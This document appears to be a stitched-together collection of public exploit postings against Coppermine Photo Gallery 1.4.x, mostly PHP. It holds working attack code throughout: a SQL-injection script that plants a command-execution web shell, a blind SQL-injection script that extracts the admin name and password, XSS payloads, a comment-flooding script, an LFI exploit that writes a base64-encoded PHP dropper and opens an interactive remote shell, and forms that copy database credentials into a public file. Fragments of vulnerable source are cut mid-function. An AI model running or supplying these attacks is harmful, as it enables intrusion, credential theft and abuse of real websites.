<?php   
#####################################   
# Coppermine gallery SQL injection exploit   
# based on RST/GHC bugs   
# Author: bazik, icq 178377   
#####################################   
error_reporting(0);   
class cpg1410_xek {   
     public $GLOBALS = array();   
      
     function prepareExp($sql) {   
        $a1 = '1) UNION SELECT ' . $this->toHex($sql) . ', ' . $this->toHex('bazik') . ' LIMIT 1,1/*';   
        $b1 = 'bazik';   
        $a2 = $sql;   
        $b2 = 'bazik';   
        $arr = array($a1 => $b1, $a2 => $b2);   
        return $this->GLOBALS['prefix'] . '_albpw=' . rawurlencode(serialize($arr));   
     }   
      
     function toHex($str) {   
        for ($i=0; $i < strlen($str); $i++)   
           $result .= sprintf("%X", ord($str[$i]));   
        return "0x" . $result;   
     }   
      
     function sendQuery($out) {   
        $fp = fsockopen($this->GLOBALS['host'], 80, $errno, $errstr, 30);   
        if(!$fp)   
           die("[-] Can't connect to " . $this->GLOBALS['host'] . " ...\n\n");   
        else {   
           fwrite($fp, $out);   
           while(!feof($fp))   
              $str .= fgets($fp, 128);   
           fclose($fp);   
           return $str;   
        }   
     }   
      
     function getCookiePrefix() {   
        $out  = "HEAD " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumId'] . " HTTP/1.1\r\n";   
        $out .= "Host: " . $this->GLOBALS['host'] . "\r\n";   
        $out .= "Connection: Close\r\n\r\n";   
        preg_match_all('!Set-Cookie:.+(.+)_data=.+!Uim', $this->sendQuery($out), $result);   
        return $result[1][0];   
     }   
      
     function getPathToShell() {   
        $out  = "GET " . $this->GLOBALS['path'] . "/themes/sample/theme.php HTTP/1.1\r\n";   
        $out .= "Host: " . $this->GLOBALS['host'] . "\r\n";   
        $out .= "Connection: Close\r\n\r\n";   
        preg_match_all('!in\s(.+).{1}themes.{1}sample.{1}t  heme.php!Uim', $this->sendQuery($out), $result);   
        $str = strip_tags($result[1][0]);   
        return str_replace("\\", "/", $str);   
     }   
      
     function getShell() {   
        $sql = $this->GLOBALS['albumID'] . ') UNION SELECT ' . $this->toHex('<pre><?system($_GET[\'a\']);?></pre>') . ' INTO OUTFILE \'' . $this->GLOBALS['pathToShell'] . '/albums/userpics/shell.php\'/*';   
        $out  = "GET " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumID'] . " HTTP/1.1\r\n";   
        $out .= "Host: " . $this->GLOBALS['host'] . "\r\n";   
        $out .= "Accept-Language: ru\r\n";   
        $out .= "Cookie: " . $this->prepareExp($sql) . "\r\n";   
        $out .= "Connection: Close\r\n\r\n";   
        $this->sendQuery($out);   
     }   
      
     function hat() {   
        echo "\n## Coppermine SQL injection exploit\n";   
        echo "## Vulnerable: CPG 1.4.10 stable\n\n";   
        echo "## THIS IS UNPUBLISHED EXPLOIT CODE\n";   
        echo "## KEEP IT PRIVATE\n\n";   
     }   
      
     function foot() {   
        echo "## (c)oded by bazik\n";   
        echo "## 20/01/2008\n";   
     }   
}   
      
$exp = new cpg1410_xek();   
      
if ($argc != 4) {   
     $exp->hat();   
     echo "For example:\n\n";   
     echo "   php cpg1410_xek.php [url] [path] [albumID]\n\n";   
     echo "      [url]     = http://www.victim.gov\n";   
     echo "      [path]    = \cpg1410\\\n";   
     echo "      [albumID] = 1\n\n\n";   
     $exp->foot();   
} else {   
     $exp->hat();   
      
     preg_match("/^(http:\/\/)?([^\/]+)/i", $argv[1], $matches);   
     $exp->GLOBALS['host']    = $matches[2];   
     $exp->GLOBALS['path']    = $argv[2];   
     $exp->GLOBALS['albumID'] = intval($argv[3]);   
     $exp->GLOBALS['prefix']  = $exp->getCookiePrefix();   
     $exp->GLOBALS['pathToShell']  = $exp->getPathToShell();   
      
     if(empty($exp->GLOBALS['prefix']))   
        echo "[-] Can't get cookie prefix ...\n\n";   
     else   
        echo "[+] Cookie prefix: " . $exp->GLOBALS['prefix'] . "\n";   
      
     if(empty($exp->GLOBALS['pathToShell']))   
        echo "[-] Can't recognize full path ...\n\n";   
     else {   
        echo "[+] Full path: " . $exp->GLOBALS['pathToShell'] . "\n\n";   
        $exp->getShell();   
        $url = 'http://' . $exp->GLOBALS['host'] . $exp->GLOBALS['path'] . 'albums/userpics/shell.php';   
        if (file_get_contents($url))   
           echo "   Web-shell: " . $url . "\n\n";   
        else   
           echo "[-] Can't create web-shell ...\n\n";   
     }   
      
     $exp->foot();   
}   
?>   

# milw0rm.com [2008-01-21]

<?php   
#############################################   
# RST/GHC PRIVATE    
# CPG 1.4.10 sql injection exploit   
# Date: 17.05.07   
# bug: SQL injection in private album   
# function through array indexes with COOKIE    
#############################################   
error_reporting (E_ERROR);   
ini_set("max_execution_time",0);   
intro();   
if ($argc < 4 ){   
          print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n";   
          print "        <host>                          - hostname\n";              
          print "        <dir>                           - web dirname \n";              
          print "        <force>                         - force mode - '0' - for Off or \"album number\" for force mode On \n";              
          print "        [table prefix]          - prefix of sql tables\n";              
          print " example: " . $argv[0] . " coppermine.site photo/ 1 cpg1410\n";   
          credits();   
}   
###############################################   
/* FUNCTIONS */   
##############################################   

if (!function_exists(str_split)){ ### for PHP4 << FIX   
          function str_split($str)   
        {   
          $str_array=array();    
          $len=strlen($str);   
          for($i=0;$i<$len;$i++) $str_array[]=$str{$i};   
          return $str_array;   
         }   
}   

function toSql($str){   
          $a_str = str_split ($str);   
          $s_str = '0x';   
          foreach ($a_str as $val){   
                  $s_str .= sprintf("%X",ord($val));   
          }   
          return $s_str;   
}   

function toCookie ($str){   
          $str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password/*";   
          $c_str=array(0=>"8", $str=>"1");   
          $c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBA  LS['cookies'];   
          return $c_str;   
}   

function getAlbum($text){   
          if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) {   
                  return intval($match[0]);    
          }   
           else return 0;   

}   

function getCookie($text){   
          if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];}   
          else {$cookie = '';}   
          return $cookie;    
}   

function getPrefix($text){   
          if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]);   
          else return false;   
}   

function toPage($page){   
   $pattern = "/(?<=HTTP).*(?=<html)/s";   
   $replacement = '';   
   $page = preg_replace($pattern,$replacement,$page);   
   /* Let's count images on the page */   
   if (preg_match_all("/<img/", $page, $match)) return count($match[0]);   
   else return 0;   
}   

function sendit($page, $method, $cookie=''){   
global $argv;   
          $data ='';   
          $host = $argv[1];   
          $page = $argv[2] . $page;   
          $referer = 'http://'.$host;   
      $user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';   
      $result = '';           
          $sock = fsockopen($host, 80, $errno, $errstr, 50);   
          if (!$sock) die("$errstr ($errno)\n");   
          fputs($sock, "$method /$page HTTP/1.0\r\n");   
          fputs($sock, "Host: $host" . "\r\n");   
          fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");   
          fputs($sock, "Content-length: " . strlen($data) . "\r\n");   
          fputs($sock, "Referer: $referer". "\r\n");   
          fputs($sock, "User-Agent:  $user_agent" . "\r\n");           
          fputs($sock, "Accept: */*\r\n");   
          if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");}   
          fputs($sock, "\r\n");   
          fputs($sock, "$data\r\n");   
          fputs($sock, "\r\n");   

      while (!feof($sock)) {   
          $result .= fgets ($sock,8192);   
      }              
          fclose($sock);   
                  //print $result; ### DEBUGER   
      return $result;    
         
}   

function credits(){   
echo '   
+==========================================+   
+ Coded: 17.05.07 * Bug found in Feb.2007  +   
+==========================================+   
';    
exit;   
}   

function intro(){   
echo '   
            * P R I V A T E  *   
+==========================================+   
| RST/GHC Coppermine SQL injection exploit |   
+==========================================+   
|  >>> vulnerable: CPG 1.4.10 stable  <<<  |   
+------------------------------------------+   
';   

}   

##################################################  ###################   
### HACK FUNCTIONS   
#####   
####   
### what to find:   
## user_name   user_password    FROM  cpg1410_users WHERE user_id=1   
##################################################  ##################   

function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn  - position    
{   
          global $argv;   
          $tprefix = (isset($argv[4])) ? $argv[4]  : 'cpg1410';   
          $query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond;   
          $sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*';    
             //echo $sql; ###DEBUG   
          return toCookie($sql);   

}   
//////////////   
function blind($param, $sn, $fmin, $fmax)   
{   
   if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;}   
   $compare = intval($fmin + ($fmax-$fmin)/2);   
   $crcheck = ">". $compare;   
   if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {   
      return blind($param, $sn, $compare, $fmax);   
      }   
   else {   
      return blind($param, $sn, $fmin, $compare+1);    
          }   
}   

function crack($param, $cmin, $cmax, $sn)   
{   
   for ($i=$cmin; $i <=$cmax; $i++){   
     $crcheck = '='.$i;   
     $sqlCookie = makeExpl($param, $crcheck ,$sn);   
     if (check($sqlCookie) == 1){print chr($i); return 1;}   
           }   
return 0;   
}   

function check($sqlCookie){   
          global $page, $etalon;   
          $testPage = toPage(sendit ($page, 'GET', $sqlCookie));   
          if ($testPage < $etalon) return 1;   
          else return 0;   
}   

function exploit($param){    
          echo "\nLet's define admin's ". $param . "\n";   
          $min = 48;  # 0   
          $max = 122; # z   

          $sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1);   
          if (check($sql_cookies) == 0) {echo 'failed...'; return;}   

          $sn=1;    
          while(blind($param,$sn, $min, $max) !== 0) {   
                  $sn++; if ($sn > 32) return;   
          }   
}   

##################################################  #############   
## START     E X P L O I T    C O D E    
##################################################  ###########   
echo '   
Exploiting:   
[+] target: '. $argv[1].'/'.$argv[2].'   
';   
           $page = '';   
          $firstReply = sendit($page, 'GET');    
          $album = getAlbum($firstReply);                    ### get valid album number   
          if ($album == 0) {   
                  echo "[-] No valid album found...\n";    
                  if ($argv[3] != 0) {echo "... Forcing\n";        $album = $argv[3];}        ### FOR FORCE MODE!!!! If you know exactly album number - put it here   
                  else {credits();}                     
                     
          }   
          $page = 'thumbnails.php?album='.$album;   
          $GLOBALS['album'] = $album;   
          echo "[+] Valid album number: ".$album . "\n";   
             
          $GLOBALS['cookies'] = getCookie($firstReply);                    ### get cookie from host   

          $prefix = getPrefix($GLOBALS['cookies']);                    ### get cookie prefix   
          echo "[+] Cookie prefix: " . $prefix . "\n";   
          $GLOBALS['prefix']=$prefix;   
             
          $etalon = toPage(sendit ($page, 'GET', $c_cookies));                         ### number of images at etalon page   
             
          $first_sql = '0) UNION SELECT '.$album.' AND 1=1/*';                        ### FIRST sql query - let's make valid album to be invisible   
          $first_cookie = toCookie($first_sql);   
             
          if (check($first_cookie) == 0) {echo "exploit failed..."; credits();} ### if album is still visible - site is unvulnerable   
          exploit('name');   
          exploit('password');   
          credits();   

?>   

[color=red]# milw0rm.com [2008-01-22]

http://localhost/coppermine.1.4.14/docs/showdoc.php?  
h=iddqd&t=<script>alert(123);</script>  
http://localhost/coppermine.1.4.14/docs/showdoc.php?  
h=</title><script>alert(123);</script>&t=iddqd

{   
        global $CONFIG, $lang_util_php;   

        $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;   
        $albstr = ($albumid) ? "WHERE aid = $albumid" : '';   

        $updatetype = $_POST['updatetype'];   
        $numpics = $_POST['numpics'];   
        $startpic = (isset($_POST['startpic'])) ? $_POST['startpic'] : 0;   

        echo "<h2>{$lang_util_php['thumbs_wait']}</h2>";   

        $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}   
$albstr LIMIT $startpic, $numpics");   
        $count = mysql_num_rows($result);

if (isset($_POST['cid_array'])) {   
    $cid_array = $_POST['cid_array'];   
    $cid_set = '';   
    foreach ($cid_array as $cid)   
    $cid_set .= ($cid_set == '') ? '(' . $cid : ', ' . $cid;   
    $cid_set .= ')';   

    cpg_db_query("DELETE FROM {$CONFIG['TABLE_COMMENTS']}   
WHERE msg_id IN $cid_set");   
    $nb_com_del = mysql_affected_rows();   
}

<?  
#######################################
# flood.php
# Coppermine Photo Gallery Easy Flooder
# (C) diehard
#######################################

$host = "www.site.com";
$addr = "/gallery/";

$N = $_GET['n'];   // number of flood
$author = $_GET['name'];    // name
$message = $_GET['msg'];    // message
$pid1 = $_GET['pos1'];  // absolute position of photo FROM
$pid2 = $_GET['pos2'];  // absolute position of photo TO

if (($N=='')||($author=='')||($message=='')||($pid1==  '')||($pid2==''))
{
   echo "<form method=get name=form1 action=flood.php>N:<input value='100' type=text name=n><br>Author:<input type=text value='Vasia' name=name><br>Message:<input value='Hello! My name is Vasia' type=text name=msg><br>Pos of photo FROM:<input type=text value=1 name=pos1><br>Pos of photo TO:<input type=text value=322 name=pos2><br><input type=submit value=go></form>";
}
else
{

$i=0;

while ($i<$N) {

$i++;

$pid = $pid1-1;

while($pid<$pid2){

   $pid++;

   $post="msg_author=$author&msg_body=$message&event=comment&pid=$pid&submit=OK";  
   $len = strlen($post);

   $query = "POST $addr/db_input.php?event=comment HTTP/1.1\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
   "Host: $host\r\n".
   "Referer: http://".$host.$addr."displayimage.php?pos=-$pid\r\n".
   "Content-Type: application/x-www-form-urlencoded\r\n".
   "Connection: close\r\n".
   "Content-Length: $len\r\n".
   "\r\n".
   "$post";

   echo "<BR>Photo $pid : Message $i<BR>";

   $conn = fsockopen($host, 80, $errno, $errstr, 1000);  
   fputs($conn, $query);  

   while (!feof($conn))  
    {
      $ss = fgets($conn, 128);  
      echo $ss;
    }

}

}
}
?>

if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {   
     cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__);   
}   

     $URI_upload_count = count($_POST['URI_array']);   

     if ($URI_upload_count > 0) {   
        
            if(!(eregi('^content-type: ([[:graph:]]+)', $header['wrapper_data'][$i], $MIME_extraction_array))) {   

                     $MIME_result = cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'");

function session_extraction()  
         {  
                 // Get the session cookie value  
                 $sessioncookie = $_COOKIE[$this->client_id];  

                 // Create the session id by concat(session_cookie_value, client_id)  
                 $session_id = $sessioncookie.$this->client_id;  

                 if ($sessioncookie) {  
           
                     // Check for valid session  
                     $sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';

$email = trim(get_post_var('email'));  
     if (!eregi("^[_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,6}$", $email)) $error .= '<li>' . $lang_register_php['err_invalid_email'];  

     $sql = "INSERT INTO {$CONFIG['TABLE_USERS']} ".  
            "(user_regdate, user_active, user_actkey, user_name, user_password, user_email, user_profile1, user_profile2, user_profile3, user_profile4, user_profile5, user_profile6) ".  
            "VALUES (NOW(), '$active', '$act_key', '" . addslashes($user_name) . "', '" . addslashes($encpassword) . "', '" . addslashes($email) . "', '$profile1', '$profile2', '$profile3', '$profile4', '$profile5', '$profile6')";

<?php  

/*  
     ----------------------------------------------------------------------  
     Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit  
     ----------------------------------------------------------------------  
       
     author...: EgiX  
     mail.....: n0b0d13s[at]gmail[dot]com  
       
     link.....: http://coppermine-gallery.net/  
     dork.....: "Powered by Coppermine Photo Gallery"  

     [-] vulnerable code to LFI in /include/init.inc.php  
       
     263.    // Start output buffering  
     264.    ob_start('cpg_filter_page_html');  
     265.      
     266.    // Parse cookie stored user profile  
     267.    user_get_profile(); <==== [1]  
     268.      
     269.    // Authenticate  
     270.    $cpg_udb->authenticate();  
       
     [...]  
       
     301.    // Process language selection if present in URI or in user profile or try  
     302.    // autodetection if default charset is utf-8  
     303.    if (!empty($_GET['lang']))  
     304.    {  
     305.            $USER['lang'] = ereg("^[a-z0-9_-]*$", $_GET['lang']) ? $_GET['lang'] : $CONFIG['lang'];  
     306.    }  
     307.      
     308.    if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))  
     309.    {  
     310.            $CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language  
     311.            $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');  
     312.    }  
     313.    elseif ($CONFIG['charset'] == 'utf-8') <====== [2]  
     314.    {  
     315.            include('include/select_lang.inc.php');  
     316.            if (file_exists('lang/' . $USER['lang'] . '.php'))  
     317.            {  
     318.                    $CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language  
     319.                    $CONFIG['lang'] = $USER['lang'];  
     320.            }  
     321.    }  
     322.    else  
     323.    {  
     324.            unset($USER['lang']);  
     325.    }  
     326.      
     327.    if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))  
     328.    {  
     329.                    unset($CONFIG['default_lang']);  
     330.    }  
     331.      
     332.    if (!file_exists("lang/{$CONFIG['lang']}.php"))  
     333.      $CONFIG['lang'] = 'english';  
     334.      
     335.    // We load the chosen language file  
     336.    require "lang/{$CONFIG['lang']}.php"; <======== [3]  

     if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default configuration), an attacker could be able to  
     include an arbitrary local file through the require() at line 336 [3], due to $USER array can be manipulate by  
     cookies (see user_get_profile() function [1] defined into /include/functions.inc.php, near lines 128-146)  
       
     [-] Path disclosure in /themes/sample/theme.php  
       
     [-] Possible bug fix in /include/functions.inc.php  
       
     128.    function user_get_profile()  
     129.    {  
     130.            global $CONFIG, $USER;  
     131.              
     132.        if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {  
     133.            $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));  
     134.            $USER['lang'] = ereg("^[a-z0-9_-]*$", $USER['lang']) ? $USER['lang'] : $CONFIG['lang'];  
     135.               }  
       
*/  

error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  

define(STDIN, fopen("php://stdin", "r"));  

function http_send($host, $packet)  
{  
     $sock = fsockopen($host, 80);  
     while (!$sock)  
     {  
         print "\n[-] No response from {$host}:80 Trying again...";  
         $sock = fsockopen($host, 80);  
     }  
     fputs($sock, $packet);  
     while (!feof($sock)) $resp .= fread($sock, 1024);  
     fclose($sock);  
     return $resp;  
}  

function get_info()  
{  
     global $host, $path, $cookie, $version, $path_disc;  
       
     $packet  = "GET {$path} HTTP/1.0\r\n";  
     $packet .= "Host: {$host}\r\n";  
     $packet .= "Connection: close\r\n\r\n";  
     $html     = http_send($host, $packet);  
       
     preg_match("/Set-Cookie: (.*)_data/", $html, $match);  
     $cookie = $match[1];  
       
     preg_match("/<!--Coppermine Photo Gallery (.*) /", $html, $match);  
     $version = $match[1];  
       
     $packet  = "GET {$path}themes/sample/theme.php HTTP/1.0\r\n";  
     $packet .= "Host: {$host}\r\n";  
     $packet .= "Connection: close\r\n\r\n";  
       
     preg_match("/in <b>(.*)themes/", http_send($host, $packet), $match);  
     $path_disc = $match[1];  
}  

function get_logs()  
{  
     $logs[] = "/apache/logs/access.log";  
     $logs[] = "/apache2/logs/access.log";  
     $logs[] = "/apache/log/access.log";  
     $logs[] = "/apache2/log/access.log";  
     $logs[] = "/logs/access.log";  
     $logs[] = "/var/log/apache/access.log";  
     $logs[] = "/var/log/apache2/access.log";  
     $logs[] = "/var/log/access.log";  
     $logs[] = "/var/www/logs/access.log";  
     $logs[] = "/var/www/log/access.log";  
     $logs[] = "/var/log/httpd/access.log";  
     $logs[] = "/etc/httpd/logs/access.log";  
     $logs[] = "/usr/local/apache/logs/access.log";  
     $logs[] = "/usr/local/apache2/logs/access.log";  
       
     for ($i = 0, $climb = "../.."; $i < 7; $i++)  
     {  
         foreach ($logs as $_log) $array[] = $climb.$_log;  
         $climb .= "/..";  
     }  
       
     return $array;  
}  

function first_time()  
{  
     global $host, $path;  
       
     $packet  = "GET {$path}proof.php HTTP/1.0\r\n";  
     $packet .= "Host: {$host}\r\n";  
     $packet .= "Connection: close\r\n\r\n";  

     return (!preg_match("/_code_/", http_send($host, $packet)));  
}  

function lfi()  
{  
     global $host, $path, $cookie;  
       
     $logs = get_logs();  

     foreach ($logs as $_log)  
     {  
         print "[-] Trying to include {$_log}\n";  
           
         $data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log.chr(0))));  
           
         $packet     = "GET {$path} HTTP/1.0\r\n";  
         $packet .= "Host: {$host}\r\n";  
         $packet .= "Cookie: {$cookie}_data={$data}\r\n";  
         $packet .= "Connection: close\r\n\r\n";  
         $resp     = http_send($host, $packet);  
           
         if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) return true;  
           
         sleep(1);  
     }  
       
     return false;  
}  

print "\n+-------------------------------------------------------------------------+";  
print "\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution Exploit by EgiX |";  
print "\n+-------------------------------------------------------------------------+\n";  

if ($argc < 3)  
{  
     print "\nUsage...: php $argv[0] host path\n";  
     print "\nhost....: target server (ip/hostname)";  
     print "\npath....: path to cpg directory\n";  
     die();  
}  

$host = $argv[1];  
$path = $argv[2];  

get_info();  

print "\n[-] Version..........: {$version}";  
print "\n[-] Cookie name......: {$cookie}";  
print "\n[-] Path disclosure..: {$path_disc}\n\n";  

if (first_time())  
{  
     $code = base64_decode(  
     "PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKD  ExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM" .  
     "TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXR  lKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT" .  
     "A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSku  Y2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN" .  
     "ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoM  TAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp" .  
     "LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2  hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY" .  
     "2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDE  wMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC" .  
     "kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5j  aHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI" .  
     "oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY  2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo" .  
     "ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2  hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN" .  
     "DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2h  yKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+");  
           
     $packet  = "GET {$path}{$code} HTTP/1.0\r\n";  
     $packet .= "Host: {$host}\r\n";  
     $packet .= "User-Agent: {$code}\r\n";  
     $packet .= "Connection: close\r\n\r\n";  

     http_send($host, $packet);  

     if (!lfi()) die("\n[-] Exploit failed...\n");  
}  

while(1)  
{  
     print "\ncoppermine-shell# ";  
     $cmd = trim(fgets(STDIN));  
     if ($cmd != "exit")  
     {  
         $packet = "GET {$path}proof.php HTTP/1.0\r\n";  
         $packet.= "Host: {$host}\r\n";  
         $packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
         $packet.= "Connection: close\r\n\r\n";  
         list($header, $payload) = explode("_code_", http_send($host, $packet));  
         preg_match("/200 OK/", $header) ? print "\n{$payload}" : die("\n[-] Exploit failed...\n");  
     }  
     else break;  
}  

?>

<?php  
<html>   
     <form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=http%3A%2F%2Fwww.google.com&CURRENT_PIC[filename]=/test.php"   
method=post>   
         <input name="save" value=1>   
         <input name="keysToSkip" value=1>   
         <input name="_GET" value=1>   
         <input name="_REQUEST" value=1>   
         <input type=submit>   
     </form>   
</html>   

This request will copy the database connection info and make it readable here:   
http://10.1.1.155/Audit/cpg1419/albums/dbinfo.txt   
This attack works with allow_url_fopen=Off   
<html>   
     <form action="http://127.0.0.1/cpg1419/picEditor.php?img_dir=include/config.inc.php&CURRENT_PIC[filename]=/dbinfo.txt"   
method=post>   
         <input name="save" value=1>   
         <input name="keysToSkip" value=1>   
         <input name="_GET" value=1>   
         <input name="_REQUEST" value=1>   
         <input type=submit>   
     </form>   
</html>  
?>